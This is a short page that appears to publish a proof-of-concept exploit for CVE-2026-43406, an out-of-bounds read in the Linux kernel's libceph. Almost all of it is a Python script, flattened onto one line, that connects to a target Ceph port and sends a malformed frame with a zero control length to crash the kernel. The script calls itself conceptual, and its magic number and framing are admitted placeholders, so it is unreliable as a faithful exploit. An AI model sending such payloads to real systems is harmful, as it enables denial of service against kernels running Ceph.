CVE-2026-43406 Linux内核libceph越界读漏洞

import socket import struct # Conceptual Proof of Concept for CVE-2026-43406 # This script attempts to trigger the out-of-bounds read by sending a malformed Ceph message frame. # Note: Targeting a specific environment requires adjustment of IP/Port and protocol details. def send_malformed_ceph_packet(target_ip, target_port): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct a malformed message header # The vulnerability is triggered if the control segment length is smaller than expected. # We simulate a corrupted frame structure. # Ceph protocol preamble (simplified) magic = struct.pack('>I', 0x01020304) # Hypothetical magic number # Malformed control length (e.g., 0 or very small) # This tricks process_message_header into reading OOB malformed_control_len = struct.pack('>I', 0x00000000) # Assemble payload payload = magic + malformed_control_len + b"A" * 100 # Send malicious payload s.send(payload) print(f"[+] Malformed packet sent to {target_ip}:{target_port}") print("[+] Check target kernel logs for OOPS or crash.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target details TARGET_IP = "192.168.1.10" TARGET_PORT = 6789 send_malformed_ceph_packet(TARGET_IP, TARGET_PORT)